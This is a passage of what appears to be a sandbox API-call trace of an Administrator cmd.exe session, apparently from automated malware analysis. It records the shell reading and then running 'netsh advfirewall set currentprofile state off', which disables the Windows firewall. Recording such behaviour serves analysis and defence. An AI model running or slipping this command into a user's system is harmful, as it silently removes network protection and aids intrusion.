nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.494] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c7a, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0109.494] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.494] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.494] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.494] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c7c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0109.494] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.494] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.494] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.494] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c7e, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0109.494] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.494] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.495] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.495] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c80, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0109.495] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.495] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.495] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.495] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c82, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0109.495] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.495] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.495] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.495] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c84, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0109.495] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.495] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.495] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.495] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c86, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0109.495] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.495] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.495] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.496] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c88, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0109.496] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.496] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.496] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.496] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c8a, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0109.496] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.496] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.496] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.496] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c8c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0109.498] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.498] GetFileType (hFile=0x28c) returned 0x3 [0109.498] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.498] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.498] _get_osfhandle (_FileHandle=1) returned 0x298 [0109.498] GetFileType (hFile=0x298) returned 0x3 [0109.498] _get_osfhandle (_FileHandle=1) returned 0x298 [0109.498] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh advfirewall set currentprofile state off\n", cchWideChar=-1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh advfirewall set currentprofile state off\n", lpUsedDefaultChar=0x0) returned 48 [0109.498] WriteFile (in: hFile=0x298, lpBuffer=0x7ff75b819970*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0xbfb21ffa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesWritten=0xbfb21ffa38*=0x2f, lpOverlapped=0x0) returned 1 [0109.498] GetProcessHeap () returned 0x22e85e60000 [0109.498] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0x4012) returned 0x22e85e68fe0 [0109.498] GetProcessHeap () returned 0x22e85e60000 [0109.498] RtlFreeHeap (HeapHandle=0x22e85e60000, Flags=0x0, BaseAddress=0x22e85e68fe0) returned 1 [0109.499] _wcsicmp (_String1="netsh", _String2=")") returned 69 [0109.499] _wcsicmp (_String1="FOR", _String2="netsh") returned -8 [0109.499] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8 [0109.499] _wcsicmp (_String1="IF", _String2="netsh") returned -5 [0109.499] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5 [0109.499] _wcsicmp (_String1="REM", _String2="netsh") returned 4 [0109.499] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4 [0109.499] GetProcessHeap () returned 0x22e85e60000 [0109.499] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0xb0) returned 0x22e85e667b0 [0109.499] GetProcessHeap () returned 0x22e85e60000 [0109.499] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0x1c) returned 0x22e85e66a50 [0109.500] GetProcessHeap () returned 0x22e85e60000 [0109.500] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0x64) returned 0x22e85e619f0 [0109.501] GetConsoleOutputCP () returned 0x1b5 [0109.796] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75b81fbb0 | out: lpCPInfo=0x7ff75b81fbb0) returned 1 [0109.796] SetThreadUILanguage (LangId=0x0) returned 0x409 [0110.208] GetConsoleTitleW (in: lpConsoleTitle=0xbfb21ff880, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0110.253] malloc (_Size=0xffce) returned 0x22e86010840 [0110.253] ??_V@YAXPEAX@Z () returned 0x22e86010840 [0110.253] malloc (_Size=0xffce) returned 0x22e86020820 [0110.254] ??_V@YAXPEAX@Z () returned 0x22e86020820 [0110.254] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0110.254] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0110.254] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0110.254] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0110.254] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0110.255] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0110.255] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0110.255] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0110.255] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0110.255] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0110.255] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0110.255] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0110.255] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0110.255] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0110.255] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0110.255] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0110.255] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0110.255] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0110.255] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0110.255] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0110.255] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0110.255] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0110.255] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0110.255] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0110.255] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0110.255] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0110.255] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0110.255] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0110.255] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0110.255] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0110.255] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0110.255] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0110.255] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0110.255] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0110.255] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0110.255] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0110.255] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0110.255] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0110.256] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0110.256] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0110.256] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0110.256] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0110.256] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0110.256] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0110.256] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0110.256] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0110.256] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0110.256] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0110.256] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0110.256] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0110.256] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0110.256] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0110.256] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0110.256] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0110.256] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0110.256] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0110.256] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0110.256] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0110.256] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0110.256] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0110.256] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0110.256] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0110.256] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0110.256] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0110.256] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0110.256] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0110.256] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0110.256] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0110.256] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0110.256] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0110.257] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0110.257] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0110.257] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0110.257] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0110.257] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0110.257] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0110.257] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0110.257] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0110.257] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0110.257] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0110.257] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0110.257] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0110.257] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0110.257] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0110.257] _wcsicmp (_String1="netsh", _String2="FOR") returned 8 [0110.257] _wcsicmp (_String1="netsh", _String2="IF") returned 5 [0110.257] _wcsicmp (_String1="netsh", _String2="REM") returned -4 [0110.257] ??_V@YAXPEAX@Z () returned 0x1 [0110.257] GetProcessHeap () returned 0x22e85e60000 [0110.257] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0xffde) returned 0x22e85e68fe0 [0110.258] GetProcessHeap () returned 0x22e85e60000 [0110.258] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0x70) returned 0x22e85e68320 [0110.258] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11 [0110.258] malloc (_Size=0xffce) returned 0x22e86020820 [0110.258] ??_V@YAXPEAX@Z () returned 0x22e86020820 [0110.259] GetProcessHeap () returned 0x22e85e60000 [0110.259] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0x1ffac) returned 0x22e85e78fd0 [0110.261] SetErrorMode (uMode=0x0) returned 0x0 [0110.261] SetErrorMode (uMode=0x1) returned 0x0 [0110.261] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x22e85e78fe0, lpFilePart=0xbfb21ff100 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xbfb21ff100*="Desktop") returned 0x17 [0110.261] SetErrorMode (uMode=0x0) returned 0x1 [0110.261] GetProcessHeap () returned 0x22e85e60000 [0110.262] RtlReAllocateHeap (Heap=0x22e85e60000, Flags=0x0, Ptr=0x22e85e78fd0, Size=0x4c) returned 0x22e85e78fd0 [0110.262] GetProcessHeap () returned 0x22e85e60000 [0110.262] RtlSizeHeap (HeapHandle=0x22e85e60000, Flags=0x0, MemoryPointer=0x22e85e78fd0) returned 0x4c [0110.262] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff75b81bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0110.262] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0110.262] GetProcessHeap () returned 0x22e85e60000 [0110.262] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0x1bc) returned 0x22e85e66c30 [0110.262] GetProcessHeap () returned 0x22e85e60000 [0110.262] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0x368) returned 0x22e85e79030 [0110.271] GetProcessHeap () returned 0x22e85e60000 [0110.271] RtlReAllocateHeap (Heap=0x22e85e60000, Flags=0x0, Ptr=0x22e85e79030, Size=0x1be) returned 0x22e85e79030 [0110.271] GetProcessHeap () returned 0x22e85e60000 [0110.271] RtlSizeHeap (HeapHandle=0x22e85e60000, Flags=0x0, MemoryPointer=0x22e85e79030) returned 0x1be [0110.271] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff75b81bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0110.271] GetProcessHeap () returned 0x22e85e60000 [0110.271] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0xe8) returned 0x22e85e66e00 [0110.271] GetProcessHeap () returned 0x22e85e60000 [0110.271] RtlReAllocateHeap (Heap=0x22e85e60000, Flags=0x0, Ptr=0x22e85e66e00, Size=0x7e) returned 0x22e85e66e00 [0110.271] GetProcessHeap () returned 0x22e85e60000 [0110.271] RtlSizeHeap (HeapHandle=0x22e85e60000, Flags=0x0, MemoryPointer=0x22e85e66e00) returned 0x7e [0110.272] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0110.272] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0xbfb21fee70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbfb21fee70) returned 0xffffffffffffffff [0110.272] GetLastError () returned 0x2 [0110.272] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0110.272] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0xbfb21fee70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbfb21fee70) returned 0xffffffffffffffff [0110.273] GetLastError () returned 0x2 [0110.273] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0110.273] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0xbfb21fee70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbfb21fee70) returned 0x22e85e66e90 [0110.273] GetProcessHeap () returned 0x22e85e60000 [0110.273] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x0, Size=0x28) returned 0x22e85e66ef0 [0110.273] FindClose (in: hFindFile=0x22e85e66e90 | out: hFindFile=0x22e85e66e90) returned 1 [0110.273] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0xbfb21fee70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbfb21fee70) returned 0xffffffffffffffff [0110.273] GetLastError () returned 0x2 [0110.273] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0xbfb21fee70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbfb21fee70) returned 0x22e85e66e90 [0110.273] GetProcessHeap () returned 0x22e85e60000 [0110.273] RtlReAllocateHeap (Heap=0x22e85e60000, Flags=0x0, Ptr=0x22e85e66ef0, Size=0x8) returned 0x22e85e66ef0 [0110.274] FindClose (in: hFindFile=0x22e85e66e90 | out: hFindFile=0x22e85e66e90) returned 1 [0110.274] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0110.274] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0110.274] ??_V@YAXPEAX@Z () returned 0x1 [0110.274] GetConsoleTitleW (in: lpConsoleTitle=0xbfb21ff3f0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0110.329] GetProcessHeap () returned 0x22e85e60000 [0110.329] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0x21c) returned 0x22e85e79200 [0110.329] GetConsoleTitleW (in: lpConsoleTitle=0x22e85e79210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0110.770] GetProcessHeap () returned 0x22e85e60000 [0110.770] RtlReAllocateHeap (Heap=0x22e85e60000, Flags=0x0, Ptr=0x22e85e79200, Size=0xd8) returned 0x22e85e79200 [0110.770] GetProcessHeap () returned 0x22e85e60000 [0110.770] RtlSizeHeap (HeapHandle=0x22e85e60000, Flags=0x0, MemoryPointer=0x22e85e79200) returned 0xd8 [0110.770] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - netsh advfirewall set currentprofile state off") returned 1 [0111.870] GetProcessHeap () returned 0x22e85e60000 [0111.870] RtlFreeHeap (HeapHandle=0x22e85e60000, Flags=0x0, BaseAddress=0x22e85e79200) returned 1 [0111.870] InitializeProcThreadAttributeList (in: lpAttributeList=0xbfb21ff310, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xbfb21ff200 | out: lpAttributeList=0xbfb21ff310, lpSize=0xbfb21ff200) returned 1 [0111.870] UpdateProcThreadAttribute (in: lpAttributeList=0xbfb21ff310, dwFlags=0x0, Attribute=0x60001, lpValue=0xbfb21ff1ec, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xbfb21ff310, lpPreviousValue=0x0) returned 1 [0111.870] GetStartupInfoW (in: lpStartupInfo=0xbfb21ff2a0 | out: lpStartupInfo=0xbfb21ff2a0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x28c, hStdOutput=0x298, hStdError=0x298)) [0111.871] GetProcessHeap () returned 0x22e85e60000 [0111.871] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0x20) returned 0x22e85e61a60 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.871] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.872] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.872] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0111.872] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0111.872] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0111.872] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0111.872] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0111.872] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0111.872] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0111.872] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0111.875] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0111.875] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0111.875] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0111.875] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0111.875] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0111.876] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0111.876] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", 